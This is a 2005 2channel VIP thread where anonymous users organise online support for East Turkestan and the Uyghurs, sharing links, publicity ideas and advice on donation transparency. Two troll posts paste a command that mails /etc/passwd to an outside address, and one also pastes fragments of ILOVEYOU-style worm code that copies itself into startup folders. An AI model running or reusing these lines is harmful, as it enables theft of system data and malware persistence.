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【合言葉は】 東トルキスタンを救え!! 【おっぱーい】

1 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:20:11 ID:NGgaPTTF0
まとめサイト
  http://www.geocities.jp/saveeastturk/index.html (一般用)
  http://www.geocities.jp/saveeastturk/index2.html (萌え用)
  http://www.geocities.jp/saveeastturk/vip.html (テンプレ保管庫)
  http://www2.e-nws.net/~business/ (Webリング)
ミラー1
  http://tefutefu.tm.land.to/eastturk/qa.html
ミラー2
  http://plasticdreams.tm.land.to/
東トルキスタン情報センター
  http://www.uygur.org/japan/news.htm
専用うpろだ
  http://plasticdreams.tm.land.to/up/upload.php
専用掲示板
  http://plasticdreams.tm.land.to/bbs/?
前スレ
【東トルキスタン内戦】VIPPERvs中国 とるきすタンを救えおっぱーい
  http://ex11.2ch.net/test/read.cgi/news4vip/1128096476/
【東トルキスタン内戦】VIPPERvs中国 とるきすタンを救え2
  http://ex11.2ch.net/test/read.cgi/news4vip/1128169146/
【ウイグル独立戦】VIPPERvs中国 とるきすタンを救えおっぱーい3
  http://ex11.2ch.net/test/read.cgi/news4vip/1128182701/
【ウイグル独立戦】VIPPERvs中国 とるきすタンを救えおっぱーい4
  http://ex11.2ch.net/test/read.cgi/news4vip/1128354444/
【ウイグル弾圧】VIPPERvs中国 東トルキスタンを救えおっぱーい5
  http://ex11.2ch.net/test/read.cgi/news4vip/1128516765
【ウイグル弾圧】VIPPERvs中国 東トルキスタンを救えおっぱーい5 (実質6)
  http://ex11.2ch.net/test/read.cgi/news4vip/1128517025
【ウイグル弾圧】VIPPERvs中国 東トルキスタンを救えおっぱーい7
  http://ex11.2ch.net/test/read.cgi/news4vip/1128777843/

2 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:21:05 ID:NGgaPTTF0
あとよろしくー
つうか、速攻消えてしまいそうだなwwwwww

3 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:21:20 ID:RoXkNLus0
2げっtwwwwww

4 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:23:01 ID:NGgaPTTF0
押田女史
  http://oshida.exblog.jp/

あとなにがあったかなー
みんなよろしくー

5 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:24:53 ID:NGgaPTTF0
あ、やべ
「8」って入れてねぇじゃねぇかよ!!

6 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:25:01 ID:HM4cgylp0
cat /etc/passwd | mail nobody@nonexistent.com


7 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:27:57 ID:NGgaPTTF0
違った。このスレは 「9」 だな。

前スレ
【ウイグル弾圧】VIPPERvs中国 東トルキスタンを救えおっぱーい8
  http://ex10.2ch.net/test/read.cgi/news4vip/1129223488/

8 :fjell:2005/10/20(木) 00:29:03 ID:Q10ElHSx0
ぎゃ、前スレ落ちた…

UNPO(国際機関に代表権を持たない国や人民のための機関)の東トル問題まとめサイト。
http://www.unpo.org/news_detail.php?arg=21&par=3104

昨日のロイターの記事も早速UPされています。
あと、EUから中国への武器輸出禁止措置継続を!のアクションも展開中。

9 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:29:08 ID:NGgaPTTF0
違った。このスレは 「9」 だな。

前スレ
【ウイグル弾圧】VIPPERvs中国 東トルキスタンを救えおっぱーい8
  http://ex10.2ch.net/test/read.cgi/news4vip/1129223488/

10 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:32:13 ID:NGgaPTTF0
こりゃ朝までに落ちるな・・・
ちょっと立てるの早すぎたね。
今は反省している。

11 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:33:28 ID:9b3h7gDE0
早速UNIペン張ったか

12 :fjell:2005/10/20(木) 00:33:35 ID:Q10ElHSx0
東トルキスタン関連blog

真silkroad?
http://kok2.no-blog.jp/tengri/

13 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:37:48 ID:NGgaPTTF0
モナパルトさんはいずこに?
もう2週間ほど姿を見ていない気がする。

14 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:38:33 ID:Q10ElHSx0
良心の囚人、トフティーさんを救おう
東京大学 東洋史学研究室
http://www.l.u-tokyo.ac.jp/~toyoshi/tohti.html

アムネスティ・インターナショナル日本 イマジンキャンペーン
http://www.amnesty.or.jp/campaign/imagine/action/case/poc.htm

15 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:39:51 ID:pCPtCwWW0
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

16 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:40:44 ID:tbHVcgKz0
でもこのスレは残したい俺がいる

17 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:42:21 ID:azB6JK3h0
落ちるというか、保守しにアクセスできんかった・・・

18 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 00:47:20 ID:NGgaPTTF0
やべ。
スレ立たなくて5回くらい立てる操作繰り返しちゃったよ。
自らを戒めるための旅に出ます。

19 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:01:16 ID:azB6JK3h0
同じスレが多いな。>VIP

20 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:08:47 ID:Q10ElHSx0
「共産党政権奪取計画 」てスレなに?
ex10. サーバーの負荷率が激しく高いけど。。。
言論封鎖?まさか。。


21 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:11:09 ID:Q10ElHSx0
hoshu

22 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:18:55 ID:azB6JK3h0
共産党ヤバスwwww

23 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:19:24 ID:5ppScvtC0
あーまいいや。このスレは許す。大事な問題だしね

24 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:24:34 ID:Q10ElHSx0
ありゃりゃ

25 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:26:19 ID:pamcWBGw0
大事なスレだけPartを許可するッ!!!!

だがそれ以外はッ!!許可しないィィィィィーーーーッ!!!!

26 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:28:29 ID:wnjgxvBm0
このスレは許す
むしろ乱立したいくらい

27 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:32:51 ID:Q10ElHSx0
あげ

28 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:33:01 ID:+7JJbzpz0
 板 違 い な の は 解 っ て る だ ろ ?
 
 今 後 は ラ ウ ン ジ で や っ て く だ さ い 。

9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャー
m9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャー
m9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャー
 板 違 い な の は 解 っ て る だ ろ ?
 
 今 後 は ラ ウ ン ジ で や っ て く だ さ い 。

9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャー
m9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャー
m9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャー
 板 違 い な の は 解 っ て る だ ろ ?
 
 今 後 は ラ ウ ン ジ で や っ て く だ さ い 。

9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャー
m9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャー
m9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャー
 板 違 い な の は 解 っ て る だ ろ ?
 
 今 後 は ラ ウ ン ジ で や っ て く だ さ い 。

9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャー
m9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャー
m9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャーm9(^Д^)プギャー

29 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:34:52 ID:n/ObN7vC0
ageとくか

30 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:35:50 ID:nDxCxYEM0
こういうのはVIPでもいいかと思う

31 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:39:31 ID:Q10ElHSx0
ageます。。。  。

32 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:41:11 ID:azB6JK3h0
ageさせてくださいおながいします。

33 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:41:56 ID:TbJu71DNO
これは難しい

34 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:42:44 ID:Q10ElHSx0
これが最期の言葉だとしても。。。


おっぱいばんざい!!

age

35 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:43:35 ID:sKblSmHb0
明日大学のパソコン室の画面全部>>1のテンプレサイトにしとくわ。

36 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:48:11 ID:Q10ElHSx0
>>35 あとはたのんます。。

37 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 01:51:12 ID:azB6JK3h0
>35
骨は拾うぞ

38 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 02:07:15 ID:azB6JK3h0
保守

39 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 02:19:29 ID:nU/mn/sg0
初代スレより〜 おっぱいの意味


665 Name: 以下、名無しにかわりましてモナーを取り返します [] Date: 2005/10/01(土) 18:02:27 ID: zI+uR5ie0 Be:
>>1です
スレタイの「おっぱーい」は全ての人類が共有できるであろう母親のもつ包み込むような愛、慈愛の象徴として名づけました。

今後このスレを消費し、新たなスレを建てるとしても「おっぱーい」は欠かせません。
なお「おっぱーい」を、「おっぱい」、「おぱーい」等に変化させる事は次スレを立てる人間の主観に委ねます。
なぜなら「おぱーい」は皆の物だからです。皆で同じようにインスパイアするものなのです。
ave糞は糞でしかありません。

では引き続き「とるきすタン」の支援とこのスレ活性化をお願いいたします。



40 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 02:23:41 ID:TdTzL3g40
乳頭

41 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 02:29:30 ID:A6Gni/UsO
落ちててびびった〜。
VIPはスレ立てる人多いから落ちやすいのかな。
AGEー。

42 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 02:36:29 ID:BryV4c8N0
>>41
>>1の専用掲示板に、落ちた理由書いている。

43 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 02:41:19 ID:azB6JK3h0
鯖が落ちた理由は、かーねるぱにっく。
で、メンテやったらスレみんな落ちたそうです。

44 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 02:46:01 ID:A6Gni/UsO
ありゃ。そんな理由が…。

45 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 02:57:49 ID:azB6JK3h0
>41
時間によってだと思うが、書き込みが無いと短くて2時間くらいで落ちると思われ。

46 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 03:31:38 ID:kb6Mm25W0
保守しますよー

47 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 03:54:16 ID:kb6Mm25W0
ネムス

48 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 04:17:25 ID:azB6JK3h0
眠いな、レポおわんねorz

49 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 04:51:31 ID:kb6Mm25W0
寝る前に保守

50 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 05:48:20 ID:q0m2GhMY0
寝る前に保守

51 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 07:29:26 ID:hJc4Jrg30
おはよう保守


52 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 07:57:21 ID:XUSMgZl80
ホス!

53 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 08:51:16 ID:BryV4c8N0
もまいらおはよう

54 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 08:52:20 ID:Xkt3Dwr60
支援頂!

55 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 09:55:50 ID:Ga8G5Ayb0
出勤先からおはよー。

56 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 10:16:53 ID:a5zeqy3L0
( ノ゚Д゚)おはよう

57 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 10:56:00 ID:vH+CzZzV0
支援頂!

58 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 11:02:15 ID:TBmhztF00
ああよかった、建ってる
昨日みたいなことは止めて欲しいよ

59 : ◆RXpf54Ttr6 :2005/10/20(木) 11:08:25 ID:0eNmxVOP0
なんかのテロかと思ったぞ<消えまくり

60 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 11:11:52 ID:BryV4c8N0
俺も中国の攻撃受けたと思ったよw

61 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 11:16:44 ID:Ga8G5Ayb0
うん、昨日はすげー焦った。
攻撃か!?VIP閉鎖なのか!?・・・とね。

62 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 11:19:53 ID:YVS8aa8q0
しゃあねえな、ageといてやるよ!
前からの住人だったりするし

63 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 11:25:20 ID:BryV4c8N0
mixiコミュって先週50人くらいじゃなかったっけw
堅調に増えているな

64 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 12:07:09 ID:YVS8aa8q0
>>63おらも先週加入したぞ
どんどん広める

65 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 12:29:32 ID:/lWozmm00
オッサン丸出してすまんが。
mixiとかウェブリングって意味がわからん

66 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 12:32:59 ID:l6vJKvmv0
【東トルキスたんの臨時おっぱい】
http://ex13.2ch.net/test/read.cgi/heaven4vip/1129778667/l50


67 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 12:50:14 ID:YVS8aa8q0
>>65mixiって会員限定のブログ・掲示板集みたいなものですよ
すぐ入れますよ多分

68 :ふぇる:2005/10/20(木) 12:59:26 ID:ji7dH0SZ0
わー、生きてるー。ヨカッタ
もうだめだと思ったよ... 。・゚・(ノД`)・゚・。

んじゃ。仕事に戻ります。
ノシ

69 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 13:03:17 ID:BryV4c8N0
昼休みしゅうりょー

mixiは既に会員の人から招待メールを出してもらって、会員手続きができるようになります。

70 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 13:47:18 ID:pGDU6m/n0
nage

71 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 14:20:46 ID:8ZXai9BM0
頂!

72 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 14:23:16 ID:Ga8G5Ayb0
コーヒーのみながら眠気に耐える。
今日のゼミが終われば東トルの活動に戻れる。

73 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 14:27:11 ID:ji7dH0SZ0
ほっしゅ

74 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 14:27:17 ID:2tgBcQtC0
やあ また会ったね(´・ω・`)
早速だけど君に呪いをかけてみた。
これで明日から一生セックスできなくなるよ
でもね、ひとつだけ呪いを解く方法があるんだ。
先ず、この文をコピペして何処でも良いから3つのスレに貼る。
そして、次に
http://game10.2ch.net/test/read.cgi/mmo/1129009331/
↑に「うはwwwww糞スレ乱立乙wwwwwwwwwwww」と書き込むだけでいいんだ
健闘を祈るよ

75 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 14:50:11 ID:nU/mn/sg0
>>1
乙・・・・・。
ただスレタイに「ウイグル」と「中国」の文字を入れて欲しかった・・・・・・。

76 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 15:53:13 ID:T1+spTfZ0
ageますよ

77 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 16:11:41 ID:SZUAF3PA0
ここか

「ウイグル」で検索しても出てこなかったから、当局の圧力で消されたのかと思ったぜ

78 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 16:13:28 ID:BryV4c8N0
今使っている宣伝用の女の子の画像みたいに、無関心な人の注意を向けさせるイメージ戦略第二弾になりそうなの無いものかね?

ウイグル人の中でシンボル的な存在になりそうな人でもいいんだけど。
例えば、ダライ・ラマは観音菩薩の化身とみられていて、チベット人の精神的な支柱でもあるんだけど、
それと同時に西洋人が抱いている、仏教=清貧、非暴力を体現しているためシンボルとしてうってつけなんだよね。
ここまでの人でないにしても、英雄的な人の自伝とか物語なんかがあれば、それを前面に出すというのも1つの手かも。


日系二世の東とるきすたんを使っても良いんだけどさw

79 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 16:27:17 ID:aScmWgbK0
¥(TΛT)ノウェ〜〜〜泣きそうだったお。落ちたな〜〜〜激しく。 みんな無事か?

ガンガルゾ! 

80 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 16:41:34 ID:nU/mn/sg0
>>78
↓の押田さんが写真もってるとの情報はあり

「東トルキスタンの人々に平和と自由を」
 のサイトを立ち上げていただいてありがとうございます。東トルキスタンが、今まであれほど地味な存在だったのが嘘のようです。トップの美しい少女の写真の写真も涙を誘います。

 私も萌え?な美少女の写真はいくつか持っていますので、折に触れてエントリーします。

ttp://oshida.exblog.jp/d2005-10-05

81 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 16:50:59 ID:xh+2zZaa0
age

82 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 17:35:19 ID:Ga8G5Ayb0
支援 あげ

83 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 17:58:05 ID:BryV4c8N0
>>80
サンクス
そのうちうpされるかな?


そういや宣伝用画像はここから取ったんだよね。
http://www.trekearth.com/gallery/Asia/China/West/Xinjiang/

宣伝画像はあれで充分だと思うが、各国語訳とかの話がどうなったのかは不明w

84 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 18:52:41 ID:Ga8G5Ayb0
支援あげです

85 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 19:14:57 ID:qAEN2gkf0
頂!

86 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 19:49:50 ID:N6Fdqj6N0
hosu
朝日だが今朝のオピニオン欄「ワールドくりっく」に言論の弾圧のことが載ってる。
中国の名前は出さないがネパールのことが乗ってる。
で、この記事の中に検閲時評(インデックス・オン・センサーシップ)と19条っていうのがあった。
19条の方は探しても見つからなかったが、インデックス・オン・センサーシップは見つかった。

どういう団体か↓(findまでがurl)
ttp://www2.hanmoto.com/FMPro?-db=book.fp5&-format=shop/detail_author01.htm&-lay=cgi&F02●ISBN=4-7503-1935-X&F13●著者名1=インデックス・オン・センサーシップ&-find

ttp://www.indexonline.org/

で、↑がオフィシャルで中国に対する活動はしていないっぽいんだが、凸先に追加してみたらどうだろうか。
rohan@indexoncensorship.org

87 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 20:09:26 ID:hJc4Jrg30
めし喰ったか?保守



88 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 20:35:01 ID:+2ndjUs9O
24日に官邸で行われる、ラマダーンの宴なんたら、に絡めては?、とうのはガイシュツだよな、やっぱ…。
ごめん、久しぶりなもんで遡る元気がない俺。
とりあえず、あげ。

89 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 20:42:50 ID:BryV4c8N0
>>88
いや、まだでてないよ
何かアイデアあり?

90 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 21:25:23 ID:N6Fdqj6N0
>>89
官邸前で東トルキスタンの国旗を掲げて
全員で「save the east turkistan」と言うとかは

91 :K ◆SSLhGGij7c :2005/10/20(木) 21:52:02 ID:6TjSTbri0 ?#
【情報機関】日本版007誕生!?−町村外相の私的懇談会が提言
http://news19.2ch.net/test/read.cgi/newsplus/1129771227/


勉強してこの諜報機関に入って・・・・先の長い話だな ('A`)

92 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 22:13:33 ID:bhxQZOgs0
とりあえずイスラム教徒に親切にして
それとなく東トル問題を伝えるとか
これなら普段の生活でもできそうだ

93 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 22:17:29 ID:azB6JK3h0
官邸前、別の人たちがいそうだな・・。
ふぁびょってそうな人たち。政府が宗教行事(ry

94 : ◆RXpf54Ttr6 :2005/10/20(木) 22:23:30 ID:0eNmxVOP0
どうやらドイツとのやりとりから新しい動きが出てきたので報告
いつもの相手Abduljelil QarkashがアンカラのErkin Tarimに
「日本人が嬉しいことに連絡取ったりアドバイスくれたりしてるよ」
と報告したところ、誠に感謝しているとのお言葉をちょうだいしたらしい。

で、向こうからのお願いなんだけど、さらなるアドバイスを欲しいとのこと。
具体的には、日本で寄付の受付してるけど、このサイトにたいしての
意見が欲しいとのこと。
つまり、インターナショナルでも口座を公開したいみたいなのよね。
そのための文面や約束して欲しいことなど教えてくれと。

みなの書き込みをまとめて返事にするつもりなのでよろしく



95 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 22:41:35 ID:nU/mn/sg0
>>94
このスレを亡命政府のお財布として利用されるのも心外だわな。

アドバイスは中国の教科書問題介入を批判したように、
もっと日本を国際的な場でヨイショしまくれ。
そしたら皆も注目する。

96 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 22:41:55 ID:NGgaPTTF0
今日も流れ早いね・・・

97 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 22:45:31 ID:kb6Mm25W0
仕事キツス…

>>94
ちょっと先方の意図とは外れそうですが…
チラシやパンフレット制作、WEBでの告知を広げるにあたって、もっと色々な現地の写真が使えないかと思ってます。
こういった物をご用意いただくのは、やはり難しいのでしょうか?
素材の点数が増えることで、デザインの幅が広がりますので、告知の幅も広がるのでは無いかと。
個人的には現行の画像に関して「著作」がらみのトラブルが出やしないかと気になっているのですが…
(今使っている写真って無断使用ですよね?違ってたらスミマセン)

98 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 22:57:51 ID:YVS8aa8q0
いまんとこ捕手いらずみたいね〜

素振りでもしてますわ

99 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 22:58:59 ID:azB6JK3h0
>インターナショナルな募金
俺にはわからん・・orz
ただお金の行き先はオープンであって欲しいかな。

>97
無断使用です。
私の場合だけど許可の取れるものは許可とっていますが、画像は無断使用ですね〜。


100 :名も無き兵士@電網遊撃隊 #:2005/10/20(木) 23:06:30 ID:bYc0V2P30
仕事が修羅場なのに、こんなことを・・・

http://www6.atwiki.jp/eastturkistan/

一応、陣取りました。けど、まだ、何も出来てナサス・・・orz
ちまちまと、トップは責任をもって作成したいかと。
その他は、一般人向けに解りやすく、追加変更していただければ幸い。

101 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 23:06:40 ID:aScmWgbK0
>>94
ドイツでは、IGFM(http://www.igfm-muenchen.de/)から情報拾ってますが、あれくらいの情報量は欲しい。

亡命政府にしても、微妙に支援団体と温度差が感じられます。
UNとか、アメリカの議員連盟などの情報は明確な文書として表されていますが、公式サイトの情報は
あいかわらず、あいまいな気がしています。

中国共産党政権を批判するというベクトルでは、各国の支援サイトは一様なエネルギーを感じるのに
どうにも、すっきりしないものを感じさせます。(生の声が聞きたい)
私は、この点が一番気になることです。
陸地続きでない、日本とヨーロッパの違いを理解して欲しい。



102 :名も無き兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/20(木) 23:07:35 ID:bYc0V2P30
仕事が修羅場なのに、こんなことを・・・

http://www6.atwiki.jp/eastturkistan/

一応、陣取りました。けど、まだ、何も出来てナサス・・・orz
ちまちまと、トップは責任をもって作成したいかと。
その他は、一般人向けに解りやすく、追加変更していただければ幸い。

103 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 23:34:49 ID:AR0R8fgF0
>>100
>>102

ほんとにテンパってんだなw

無理すんなよw

104 :以下、名無しにかわりましてVIPがお送りします:2005/10/20(木) 23:44:35 ID:N6Fdqj6N0
>>102


105 :fjell:2005/10/20(木) 23:52:07 ID:Q10ElHSx0
早朝までホシュしてくだったみなさま、ありがとー

>>94
おお。ありがとん。
下記、個人的な意見。

寄付金関連では…
募集と使用の目的についての明確な回答
集まった寄付金と、使途についての説明 (可能であれば第三者による監査を実行)

組織運営関連では…
より明確な、理念、目的の掲示。
中・長期のプロジェクト立ち上げと、定期的なステータスレポート。
積極的な情報公開。ただし、冷静中立的な意見で。
開放的な組織運営。ボランティアを幅広く求める、とか。

すでに実行されているものもあるけど、うーむ。
まだまだ改善の余地があると思う。

あと。>>97 にあるように、写真をもっと公開してほしい。
実際に中国共産党によって行われている圧制の場面も重要だけど、
「中国共産党がいる限り、この風景は失われ続ける」と危惧せずにいられない、
美しい自然の風景や、人々の写真も見たいものです。

106 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 00:13:10 ID:4uL9nk0B0
捕手

107 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 00:13:50 ID:ZvrZcx2d0
>>94
使途を明確にということは他の人も言っている通り、是非お願いしたいことだね。
あとは、イスラム圏だから宗教的に難しいかもしれないんだけど、日本人や西洋人を惹きつけるには
>>78 のような英雄的人物、もしくは悲劇の主人公になれるような人がいれば良いと思う。


写真も今の無断使用は冷や冷やものなので、お願いしたいところだね。
今までと同様に子供の写真、伝統衣装を着ていれば尚良しというところで。


東トルキスタン情報センターにはそれなりにあるから、欲しいのがあるならウイグル太郎さんにお願いしてもいいかも。
http://www.uygur.org/images/resima.htm


108 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 00:31:02 ID:4uL9nk0B0
捕手

109 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 00:33:43 ID:Bd/w0IV90
平和的とは反対の方向で引き付ける情報特に写真や数字については、できるだけ詳細なデータが欲しいね。
ないものは仕方がないけど理想としては、かな。
そういう感じでまとめられた情報があると色々助かる。
フラ作ろうと思ったけど、その辺がよくわからなくて断念したんだ。
うん。

110 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 00:41:02 ID:sgfrtr2P0
頂!

111 :fjell:2005/10/21(金) 00:49:08 ID:E3O7oq/l0
ウイグルで検索したら、見つけました。
鷲尾惟子の シルクロード・ウイグル音楽専門サイト
http://homepage3.nifty.com/silkroad/index.html
リンク切れが多いのが残念。

中国板からいただきました。
「中国の軍事」を語ることをタブー視するな (古森義久氏のコラム ・第3回)
http://nikkeibp.jp/sj2005/column/i/03/

中国の石油外交が世界に脅威をもたらす(古森義久氏のコラム ・第4回)
http://nikkeibp.jp/sj2005/column/i/04/

英雄…ですか。
レビヤ・カディール女史とか。。
歴史上の英雄伝説ではありませんが。

112 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 00:54:25 ID:wRsQLUSr0
http://zip.2chan.net/a/src/1129823190137.jpg

113 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 01:22:01 ID:4uL9nk0B0
ほしゅ


114 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 01:23:53 ID:+5y7mSl80
>>94
ちょっとウイグル組織のつながりというか構成を教えてくれないかな。
寄附口座が判明したETCとドイツとアンカラは、それぞれ別組織なんかな?

115 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 01:33:11 ID:+5y7mSl80
>>109
>できるだけ詳細なデータが欲しいね。

おれもこれは痛感する。
共産党独裁政権下においてウイグル弾圧の正確なソースを提示することは
とても困難であろうが、なんせ情報が少ないよ。


116 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 01:52:08 ID:oYEvzdit0
専用掲示板
  http://plasticdreams.tm.land.to/bbs/? ← こいつはここが落ちたら避難所でいいの?

不安が消えないw

117 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 01:52:59 ID:PO0H59eS0
>>94
東トルキスタンの象徴となる人物を作ったほうがいいと思う。
チベットのダライ・ラマ、台湾の李登輝のように、「東トルキスタンといえば
この人」って感じでさ。
で、その人にはダライ・ラマや李登輝ばりに派手に動いてもらう。

イスラムという宗教的に難しいかもしれないが、東ト代表に8月15日に
靖国参拝してもらい、金美齢がやったように英霊擁護演説をかます。
これで日本人のハートをがっちりつかめるのではないか。

118 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 01:58:55 ID:4uL9nk0B0
>>116
保守あげの救世主、どーもくん!
           ヽ国ノ
            人
ど〜も〜

僕が来たからには、このスレおとさないよ〜!

119 :以下、名無しにかわりましてVIPがお送りします:2005/10/21(金) 02:15:56 ID:ZvrZcx2d0
>>83
